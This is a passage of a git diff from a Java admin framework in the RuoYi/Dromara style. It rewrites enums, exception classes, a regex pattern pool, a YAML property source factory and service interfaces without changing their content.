- */ - final String retryLimitCount; -} +package org.dromara.common.core.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * 登录类型 + * + * @author Lion Li + */ +@Getter +@AllArgsConstructor +public enum LoginType { + + /** + * 密码登录 + */ + PASSWORD("user.password.retry.limit.exceed", "user.password.retry.limit.count"), + + /** + * 短信登录 + */ + SMS("sms.code.retry.limit.exceed", "sms.code.retry.limit.count"), + + /** + * 邮箱登录 + */ + EMAIL("email.code.retry.limit.exceed", "email.code.retry.limit.count"), + + /** + * 小程序登录 + */ + XCX("", ""); + + /** + * 登录重试超出限制提示 + */ + final String retryLimitExceed; + + /** + * 登录重试限制计数提示 + */ + final String retryLimitCount; +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserStatus.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserStatus.java index be7e44d..b3ca80c 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserStatus.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserStatus.java @@ -1,30 +1,30 @@ -package org.dromara.common.core.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; - -/** - * 用户状态 - * - * @author ruoyi - */ -@Getter -@AllArgsConstructor -public enum UserStatus { - /** - * 正常 - */ - OK("0", "正常"), - /** - * 停用 - */ - DISABLE("1", "停用"), - /** - * 删除 - */ - DELETED("2", "删除"); - - private final String code; - private final String info; - -} +package org.dromara.common.core.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; + +/** + * 用户状态 + * + * @author ruoyi + */ +@Getter +@AllArgsConstructor +public enum UserStatus { + /** + * 正常 + */ + OK("0", "正常"), + /** + * 停用 + */ + DISABLE("1", "停用"), + /** + * 删除 + */ + DELETED("2", "删除"); + + private final String code; + private final String info; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserType.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserType.java index 48e160a..678e8c1 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserType.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/enums/UserType.java @@ -1,37 +1,37 @@ -package org.dromara.common.core.enums; - -import lombok.AllArgsConstructor; -import lombok.Getter; -import org.dromara.common.core.utils.StringUtils; - -/** - * 设备类型 - * 针对多套 用户体系 - * - * @author Lion Li - */ -@Getter -@AllArgsConstructor -public enum UserType { - - /** - * pc端 - */ - SYS_USER("sys_user"), - - /** - * app端 - */ - APP_USER("app_user"); - - private final String userType; - - public static UserType getUserType(String str) { - for (UserType value : values()) { - if (StringUtils.contains(str, value.getUserType())) { - return value; - } - } - throw new RuntimeException("'UserType' not found By " + str); - } -} +package org.dromara.common.core.enums; + +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.dromara.common.core.utils.StringUtils; + +/** + * 设备类型 + * 针对多套 用户体系 + * + * @author Lion Li + */ +@Getter +@AllArgsConstructor +public enum UserType { + + /** + * pc端 + */ + SYS_USER("sys_user"), + + /** + * app端 + */ + APP_USER("app_user"); + + private final String userType; + + public static UserType getUserType(String str) { + for (UserType value : values()) { + if (StringUtils.contains(str, value.getUserType())) { + return value; + } + } + throw new RuntimeException("'UserType' not found By " + str); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/ServiceException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/ServiceException.java index 67f66b4..b7d1a74 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/ServiceException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/ServiceException.java @@ -1,62 +1,62 @@ -package org.dromara.common.core.exception; - -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; - -import java.io.Serial; - -/** - * 业务异常 - * - * @author ruoyi - */ -@Data -@EqualsAndHashCode(callSuper = true) -@NoArgsConstructor -@AllArgsConstructor -public final class ServiceException extends RuntimeException { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 错误码 - */ - private Integer code; - - /** - * 错误提示 - */ - private String message; - - /** - * 错误明细,内部调试错误 - */ - private String detailMessage; - - public ServiceException(String message) { - this.message = message; - } - - public ServiceException(String message, Integer code) { - this.message = message; - this.code = code; - } - - @Override - public String getMessage() { - return message; - } - - public ServiceException setMessage(String message) { - this.message = message; - return this; - } - - public ServiceException setDetailMessage(String detailMessage) { - this.detailMessage = detailMessage; - return this; - } -} +package org.dromara.common.core.exception; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +import java.io.Serial; + +/** + * 业务异常 + * + * @author ruoyi + */ +@Data +@EqualsAndHashCode(callSuper = true) +@NoArgsConstructor +@AllArgsConstructor +public final class ServiceException extends RuntimeException { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 错误码 + */ + private Integer code; + + /** + * 错误提示 + */ + private String message; + + /** + * 错误明细,内部调试错误 + */ + private String detailMessage; + + public ServiceException(String message) { + this.message = message; + } + + public ServiceException(String message, Integer code) { + this.message = message; + this.code = code; + } + + @Override + public String getMessage() { + return message; + } + + public ServiceException setMessage(String message) { + this.message = message; + return this; + } + + public ServiceException setDetailMessage(String detailMessage) { + this.detailMessage = detailMessage; + return this; + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/SseException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/SseException.java index a76e16d..22546f4 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/SseException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/SseException.java @@ -1,62 +1,62 @@ -package org.dromara.common.core.exception; - -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; - -import java.io.Serial; - -/** - * sse 特制异常 - * - * @author LionLi - */ -@Data -@EqualsAndHashCode(callSuper = true) -@NoArgsConstructor -@AllArgsConstructor -public final class SseException extends RuntimeException { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 错误码 - */ - private Integer code; - - /** - * 错误提示 - */ - private String message; - - /** - * 错误明细,内部调试错误 - */ - private String detailMessage; - - public SseException(String message) { - this.message = message; - } - - public SseException(String message, Integer code) { - this.message = message; - this.code = code; - } - - @Override - public String getMessage() { - return message; - } - - public SseException setMessage(String message) { - this.message = message; - return this; - } - - public SseException setDetailMessage(String detailMessage) { - this.detailMessage = detailMessage; - return this; - } -} +package org.dromara.common.core.exception; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +import java.io.Serial; + +/** + * sse 特制异常 + * + * @author LionLi + */ +@Data +@EqualsAndHashCode(callSuper = true) +@NoArgsConstructor +@AllArgsConstructor +public final class SseException extends RuntimeException { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 错误码 + */ + private Integer code; + + /** + * 错误提示 + */ + private String message; + + /** + * 错误明细,内部调试错误 + */ + private String detailMessage; + + public SseException(String message) { + this.message = message; + } + + public SseException(String message, Integer code) { + this.message = message; + this.code = code; + } + + @Override + public String getMessage() { + return message; + } + + public SseException setMessage(String message) { + this.message = message; + return this; + } + + public SseException setDetailMessage(String detailMessage) { + this.detailMessage = detailMessage; + return this; + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/base/BaseException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/base/BaseException.java index 942b83d..53e925c 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/base/BaseException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/base/BaseException.java @@ -1,74 +1,74 @@ -package org.dromara.common.core.exception.base; - -import lombok.AllArgsConstructor; -import lombok.Data; -import lombok.EqualsAndHashCode; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.StringUtils; - -import java.io.Serial; - -/** - * 基础异常 - * - * @author ruoyi - */ -@Data -@EqualsAndHashCode(callSuper = true) -@NoArgsConstructor -@AllArgsConstructor -public class BaseException extends RuntimeException { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 所属模块 - */ - private String module; - - /** - * 错误码 - */ - private String code; - - /** - * 错误码对应的参数 - */ - private Object[] args; - - /** - * 错误消息 - */ - private String defaultMessage; - - public BaseException(String module, String code, Object[] args) { - this(module, code, args, null); - } - - public BaseException(String module, String defaultMessage) { - this(module, null, null, defaultMessage); - } - - public BaseException(String code, Object[] args) { - this(null, code, args, null); - } - - public BaseException(String defaultMessage) { - this(null, null, null, defaultMessage); - } - - @Override - public String getMessage() { - String message = null; - if (!StringUtils.isEmpty(code)) { - message = MessageUtils.message(code, args); - } - if (message == null) { - message = defaultMessage; - } - return message; - } - -} +package org.dromara.common.core.exception.base; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.StringUtils; + +import java.io.Serial; + +/** + * 基础异常 + * + * @author ruoyi + */ +@Data +@EqualsAndHashCode(callSuper = true) +@NoArgsConstructor +@AllArgsConstructor +public class BaseException extends RuntimeException { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 所属模块 + */ + private String module; + + /** + * 错误码 + */ + private String code; + + /** + * 错误码对应的参数 + */ + private Object[] args; + + /** + * 错误消息 + */ + private String defaultMessage; + + public BaseException(String module, String code, Object[] args) { + this(module, code, args, null); + } + + public BaseException(String module, String defaultMessage) { + this(module, null, null, defaultMessage); + } + + public BaseException(String code, Object[] args) { + this(null, code, args, null); + } + + public BaseException(String defaultMessage) { + this(null, null, null, defaultMessage); + } + + @Override + public String getMessage() { + String message = null; + if (!StringUtils.isEmpty(code)) { + message = MessageUtils.message(code, args); + } + if (message == null) { + message = defaultMessage; + } + return message; + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileException.java index d374fc0..59a058d 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileException.java @@ -1,21 +1,21 @@ -package org.dromara.common.core.exception.file; - -import org.dromara.common.core.exception.base.BaseException; - -import java.io.Serial; - -/** - * 文件信息异常类 - * - * @author ruoyi - */ -public class FileException extends BaseException { - - @Serial - private static final long serialVersionUID = 1L; - - public FileException(String code, Object[] args) { - super("file", code, args, null); - } - -} +package org.dromara.common.core.exception.file; + +import org.dromara.common.core.exception.base.BaseException; + +import java.io.Serial; + +/** + * 文件信息异常类 + * + * @author ruoyi + */ +public class FileException extends BaseException { + + @Serial + private static final long serialVersionUID = 1L; + + public FileException(String code, Object[] args) { + super("file", code, args, null); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileNameLengthLimitExceededException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileNameLengthLimitExceededException.java index af98124..2c29956 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileNameLengthLimitExceededException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileNameLengthLimitExceededException.java @@ -1,18 +1,18 @@ -package org.dromara.common.core.exception.file; - -import java.io.Serial; - -/** - * 文件名称超长限制异常类 - * - * @author ruoyi - */ -public class FileNameLengthLimitExceededException extends FileException { - - @Serial - private static final long serialVersionUID = 1L; - - public FileNameLengthLimitExceededException(int defaultFileNameLength) { - super("upload.filename.exceed.length", new Object[]{defaultFileNameLength}); - } -} +package org.dromara.common.core.exception.file; + +import java.io.Serial; + +/** + * 文件名称超长限制异常类 + * + * @author ruoyi + */ +public class FileNameLengthLimitExceededException extends FileException { + + @Serial + private static final long serialVersionUID = 1L; + + public FileNameLengthLimitExceededException(int defaultFileNameLength) { + super("upload.filename.exceed.length", new Object[]{defaultFileNameLength}); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileSizeLimitExceededException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileSizeLimitExceededException.java index 1eb8d40..1cc2a88 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileSizeLimitExceededException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/file/FileSizeLimitExceededException.java @@ -1,18 +1,18 @@ -package org.dromara.common.core.exception.file; - -import java.io.Serial; - -/** - * 文件名大小限制异常类 - * - * @author ruoyi - */ -public class FileSizeLimitExceededException extends FileException { - - @Serial - private static final long serialVersionUID = 1L; - - public FileSizeLimitExceededException(long defaultMaxSize) { - super("upload.exceed.maxSize", new Object[]{defaultMaxSize}); - } -} +package org.dromara.common.core.exception.file; + +import java.io.Serial; + +/** + * 文件名大小限制异常类 + * + * @author ruoyi + */ +public class FileSizeLimitExceededException extends FileException { + + @Serial + private static final long serialVersionUID = 1L; + + public FileSizeLimitExceededException(long defaultMaxSize) { + super("upload.exceed.maxSize", new Object[]{defaultMaxSize}); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaException.java index 43824e0..a80b9c5 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaException.java @@ -1,18 +1,18 @@ -package org.dromara.common.core.exception.user; - -import java.io.Serial; - -/** - * 验证码错误异常类 - * - * @author ruoyi - */ -public class CaptchaException extends UserException { - - @Serial - private static final long serialVersionUID = 1L; - - public CaptchaException() { - super("user.jcaptcha.error"); - } -} +package org.dromara.common.core.exception.user; + +import java.io.Serial; + +/** + * 验证码错误异常类 + * + * @author ruoyi + */ +public class CaptchaException extends UserException { + + @Serial + private static final long serialVersionUID = 1L; + + public CaptchaException() { + super("user.jcaptcha.error"); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaExpireException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaExpireException.java index f4b8cac..97cd795 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaExpireException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/CaptchaExpireException.java @@ -1,18 +1,18 @@ -package org.dromara.common.core.exception.user; - -import java.io.Serial; - -/** - * 验证码失效异常类 - * - * @author ruoyi - */ -public class CaptchaExpireException extends UserException { - - @Serial - private static final long serialVersionUID = 1L; - - public CaptchaExpireException() { - super("user.jcaptcha.expire"); - } -} +package org.dromara.common.core.exception.user; + +import java.io.Serial; + +/** + * 验证码失效异常类 + * + * @author ruoyi + */ +public class CaptchaExpireException extends UserException { + + @Serial + private static final long serialVersionUID = 1L; + + public CaptchaExpireException() { + super("user.jcaptcha.expire"); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/UserException.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/UserException.java index 024fed6..5281c05 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/UserException.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/exception/user/UserException.java @@ -1,20 +1,20 @@ -package org.dromara.common.core.exception.user; - -import org.dromara.common.core.exception.base.BaseException; - -import java.io.Serial; - -/** - * 用户信息异常类 - * - * @author ruoyi - */ -public class UserException extends BaseException { - - @Serial - private static final long serialVersionUID = 1L; - - public UserException(String code, Object... args) { - super("user", code, args, null); - } -} +package org.dromara.common.core.exception.user; + +import org.dromara.common.core.exception.base.BaseException; + +import java.io.Serial; + +/** + * 用户信息异常类 + * + * @author ruoyi + */ +public class UserException extends BaseException { + + @Serial + private static final long serialVersionUID = 1L; + + public UserException(String code, Object... args) { + super("user", code, args, null); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/RegexPatternPoolFactory.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/RegexPatternPoolFactory.java index fd907d2..283cccf 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/RegexPatternPoolFactory.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/RegexPatternPoolFactory.java @@ -1,52 +1,52 @@ -package org.dromara.common.core.factory; - -import cn.hutool.core.lang.PatternPool; -import org.dromara.common.core.constant.RegexConstants; - -import java.util.regex.Pattern; - -/** - * 正则表达式模式池工厂 - *

初始化的时候将正则表达式加入缓存池当中

- *

提高正则表达式的性能,避免重复编译相同的正则表达式

- * - * @author 21001 - */ -public class RegexPatternPoolFactory extends PatternPool { - - /** - * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) - */ - public static final Pattern DICTIONARY_TYPE = get(RegexConstants.DICTIONARY_TYPE); - - /** - * 身份证号码(后6位) - */ - public static final Pattern ID_CARD_LAST_6 = get(RegexConstants.ID_CARD_LAST_6); - - /** - * QQ号码 - */ - public static final Pattern QQ_NUMBER = get(RegexConstants.QQ_NUMBER); - - /** - * 邮政编码 - */ - public static final Pattern POSTAL_CODE = get(RegexConstants.POSTAL_CODE); - - /** - * 注册账号 - */ - public static final Pattern ACCOUNT = get(RegexConstants.ACCOUNT); - - /** - * 密码:包含至少8个字符,包括大写字母、小写字母、数字和特殊字符 - */ - public static final Pattern PASSWORD = get(RegexConstants.PASSWORD); - - /** - * 通用状态(0表示正常,1表示停用) - */ - public static final Pattern STATUS = get(RegexConstants.STATUS); - -} +package org.dromara.common.core.factory; + +import cn.hutool.core.lang.PatternPool; +import org.dromara.common.core.constant.RegexConstants; + +import java.util.regex.Pattern; + +/** + * 正则表达式模式池工厂 + *

初始化的时候将正则表达式加入缓存池当中

+ *

提高正则表达式的性能,避免重复编译相同的正则表达式

+ * + * @author 21001 + */ +public class RegexPatternPoolFactory extends PatternPool { + + /** + * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) + */ + public static final Pattern DICTIONARY_TYPE = get(RegexConstants.DICTIONARY_TYPE); + + /** + * 身份证号码(后6位) + */ + public static final Pattern ID_CARD_LAST_6 = get(RegexConstants.ID_CARD_LAST_6); + + /** + * QQ号码 + */ + public static final Pattern QQ_NUMBER = get(RegexConstants.QQ_NUMBER); + + /** + * 邮政编码 + */ + public static final Pattern POSTAL_CODE = get(RegexConstants.POSTAL_CODE); + + /** + * 注册账号 + */ + public static final Pattern ACCOUNT = get(RegexConstants.ACCOUNT); + + /** + * 密码:包含至少8个字符,包括大写字母、小写字母、数字和特殊字符 + */ + public static final Pattern PASSWORD = get(RegexConstants.PASSWORD); + + /** + * 通用状态(0表示正常,1表示停用) + */ + public static final Pattern STATUS = get(RegexConstants.STATUS); + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/YmlPropertySourceFactory.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/YmlPropertySourceFactory.java index af61b90..cbe4ef7 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/YmlPropertySourceFactory.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/factory/YmlPropertySourceFactory.java @@ -1,31 +1,31 @@ -package org.dromara.common.core.factory; - -import org.dromara.common.core.utils.StringUtils; -import org.springframework.beans.factory.config.YamlPropertiesFactoryBean; -import org.springframework.core.env.PropertiesPropertySource; -import org.springframework.core.env.PropertySource; -import org.springframework.core.io.support.DefaultPropertySourceFactory; -import org.springframework.core.io.support.EncodedResource; - -import java.io.IOException; - -/** - * yml 配置源工厂 - * - * @author Lion Li - */ -public class YmlPropertySourceFactory extends DefaultPropertySourceFactory { - - @Override - public PropertySource createPropertySource(String name, EncodedResource resource) throws IOException { - String sourceName = resource.getResource().getFilename(); - if (StringUtils.isNotBlank(sourceName) && StringUtils.endsWithAny(sourceName, ".yml", ".yaml")) { - YamlPropertiesFactoryBean factory = new YamlPropertiesFactoryBean(); - factory.setResources(resource.getResource()); - factory.afterPropertiesSet(); - return new PropertiesPropertySource(sourceName, factory.getObject()); - } - return super.createPropertySource(name, resource); - } - -} +package org.dromara.common.core.factory; + +import org.dromara.common.core.utils.StringUtils; +import org.springframework.beans.factory.config.YamlPropertiesFactoryBean; +import org.springframework.core.env.PropertiesPropertySource; +import org.springframework.core.env.PropertySource; +import org.springframework.core.io.support.DefaultPropertySourceFactory; +import org.springframework.core.io.support.EncodedResource; + +import java.io.IOException; + +/** + * yml 配置源工厂 + * + * @author Lion Li + */ +public class YmlPropertySourceFactory extends DefaultPropertySourceFactory { + + @Override + public PropertySource createPropertySource(String name, EncodedResource resource) throws IOException { + String sourceName = resource.getResource().getFilename(); + if (StringUtils.isNotBlank(sourceName) && StringUtils.endsWithAny(sourceName, ".yml", ".yaml")) { + YamlPropertiesFactoryBean factory = new YamlPropertiesFactoryBean(); + factory.setResources(resource.getResource()); + factory.afterPropertiesSet(); + return new PropertiesPropertySource(sourceName, factory.getObject()); + } + return super.createPropertySource(name, resource); + } + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/ConfigService.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/ConfigService.java index 7328c69..b6abce1 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/ConfigService.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/ConfigService.java @@ -1,18 +1,18 @@ -package org.dromara.common.core.service; - -/** - * 通用 参数配置服务 - * - * @author Lion Li - */ -public interface ConfigService { - - /** - * 根据参数 key 获取参数值 - * - * @param configKey 参数 key - * @return 参数值 - */ - String getConfigValue(String configKey); - -} +package org.dromara.common.core.service; + +/** + * 通用 参数配置服务 + * + * @author Lion Li + */ +public interface ConfigService { + + /** + * 根据参数 key 获取参数值 + * + * @param configKey 参数 key + * @return 参数值 + */ + String getConfigValue(String configKey); + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DeptService.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DeptService.java index db9463e..182ca9a 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DeptService.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DeptService.java @@ -1,18 +1,18 @@ -package org.dromara.common.core.service; - -/** - * 通用 部门服务 - * - * @author Lion Li - */ -public interface DeptService { - - /** - * 通过部门ID查询部门名称 - * - * @param deptIds 部门ID串逗号分隔 - * @return 部门名称串逗号分隔 - */ - String selectDeptNameByIds(String deptIds); - -} +package org.dromara.common.core.service; + +/** + * 通用 部门服务 + * + * @author Lion Li + */ +public interface DeptService { + + /** + * 通过部门ID查询部门名称 + * + * @param deptIds 部门ID串逗号分隔 + * @return 部门名称串逗号分隔 + */ + String selectDeptNameByIds(String deptIds); + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DictService.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DictService.java index b78a7f2..7e57d82 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DictService.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/DictService.java @@ -1,67 +1,67 @@ -package org.dromara.common.core.service; - -import java.util.Map; - -/** - * 通用 字典服务 - * - * @author Lion Li - */ -public interface DictService { - - /** - * 分隔符 - */ - String SEPARATOR = ","; - - /** - * 根据字典类型和字典值获取字典标签 - * - * @param dictType 字典类型 - * @param dictValue 字典值 - * @return 字典标签 - */ - default String getDictLabel(String dictType, String dictValue) { - return getDictLabel(dictType, dictValue, SEPARATOR); - } - - /** - * 根据字典类型和字典标签获取字典值 - * - * @param dictType 字典类型 - * @param dictLabel 字典标签 - * @return 字典值 - */ - default String getDictValue(String dictType, String dictLabel) { - return getDictValue(dictType, dictLabel, SEPARATOR); - } - - /** - * 根据字典类型和字典值获取字典标签 - * - * @param dictType 字典类型 - * @param dictValue 字典值 - * @param separator 分隔符 - * @return 字典标签 - */ - String getDictLabel(String dictType, String dictValue, String separator); - - /** - * 根据字典类型和字典标签获取字典值 - * - * @param dictType 字典类型 - * @param dictLabel 字典标签 - * @param separator 分隔符 - * @return 字典值 - */ - String getDictValue(String dictType, String dictLabel, String separator); - - /** - * 获取字典下所有的字典值与标签 - * - * @param dictType 字典类型 - * @return dictValue为key,dictLabel为值组成的Map - */ - Map getAllDictByDictType(String dictType); - -} +package org.dromara.common.core.service; + +import java.util.Map; + +/** + * 通用 字典服务 + * + * @author Lion Li + */ +public interface DictService { + + /** + * 分隔符 + */ + String SEPARATOR = ","; + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @return 字典标签 + */ + default String getDictLabel(String dictType, String dictValue) { + return getDictLabel(dictType, dictValue, SEPARATOR); + } + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @return 字典值 + */ + default String getDictValue(String dictType, String dictLabel) { + return getDictValue(dictType, dictLabel, SEPARATOR); + } + + /** + * 根据字典类型和字典值获取字典标签 + * + * @param dictType 字典类型 + * @param dictValue 字典值 + * @param separator 分隔符 + * @return 字典标签 + */ + String getDictLabel(String dictType, String dictValue, String separator); + + /** + * 根据字典类型和字典标签获取字典值 + * + * @param dictType 字典类型 + * @param dictLabel 字典标签 + * @param separator 分隔符 + * @return 字典值 + */ + String getDictValue(String dictType, String dictLabel, String separator); + + /** + * 获取字典下所有的字典值与标签 + * + * @param dictType 字典类型 + * @return dictValue为key,dictLabel为值组成的Map + */ + Map getAllDictByDictType(String dictType); + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/OssService.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/OssService.java index 1a52de0..37b678f 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/OssService.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/OssService.java @@ -1,29 +1,29 @@ -package org.dromara.common.core.service; - -import org.dromara.common.core.domain.dto.OssDTO; - -import java.util.List; - -/** - * 通用 OSS服务 - * - * @author Lion Li - */ -public interface OssService { - - /** - * 通过ossId查询对应的url - * - * @param ossIds ossId串逗号分隔 - * @return url串逗号分隔 - */ - String selectUrlByIds(String ossIds); - - /** - * 通过ossId查询列表 - * - * @param ossIds ossId串逗号分隔 - * @return 列表 - */ - List selectByIds(String ossIds); -} +package org.dromara.common.core.service; + +import org.dromara.common.core.domain.dto.OssDTO; + +import java.util.List; + +/** + * 通用 OSS服务 + * + * @author Lion Li + */ +public interface OssService { + + /** + * 通过ossId查询对应的url + * + * @param ossIds ossId串逗号分隔 + * @return url串逗号分隔 + */ + String selectUrlByIds(String ossIds); + + /** + * 通过ossId查询列表 + * + * @param ossIds ossId串逗号分隔 + * @return 列表 + */ + List selectByIds(String ossIds); +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/UserService.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/UserService.java index 43aef28..ed01f1b 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/UserService.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/service/UserService.java @@ -1,85 +1,85 @@ -package org.dromara.common.core.service; - -import org.dromara.common.core.domain.dto.UserDTO; - -import java.util.List; - -/** - * 通用 用户服务 - * - * @author Lion Li - */ -public interface UserService { - - /** - * 通过用户ID查询用户账户 - * - * @param userId 用户ID - * @return 用户账户 - */ - String selectUserNameById(Long userId); - - /** - * 通过用户ID查询用户账户 - * - * @param userId 用户ID - * @return 用户名称 - */ - String selectNicknameById(Long userId); - - /** - * 通过用户ID查询用户账户 - * - * @param userIds 用户ID 多个用逗号隔开 - * @return 用户名称 - */ - String selectNicknameByIds(String userIds); - - /** - * 通过用户ID查询用户手机号 - * - * @param userId 用户id - * @return 用户手机号 - */ - String selectPhonenumberById(Long userId); - - /** - * 通过用户ID查询用户邮箱 - * - * @param userId 用户id - * @return 用户邮箱 - */ - String selectEmailById(Long userId); - - /** - * 通过用户ID查询用户列表 - * - * @param userIds 用户ids - * @return 用户列表 - */ - List selectListByIds(List userIds); - - /** - * 通过角色ID查询用户ID - * - * @param roleIds 角色ids - * @return 用户ids - */ - List selectUserIdsByRoleIds(List roleIds); - - /** - * 通过角色ID查询用户 - * - * @param roleIds 角色ids - * @return 用户 - */ - List selectUsersByRoleIds(List roleIds); - - /** - * 通过部门ID查询用户 - * - * @param deptIds 部门ids - * @return 用户 - */ - List selectUsersByDeptIds(List deptIds); -} +package org.dromara.common.core.service; + +import 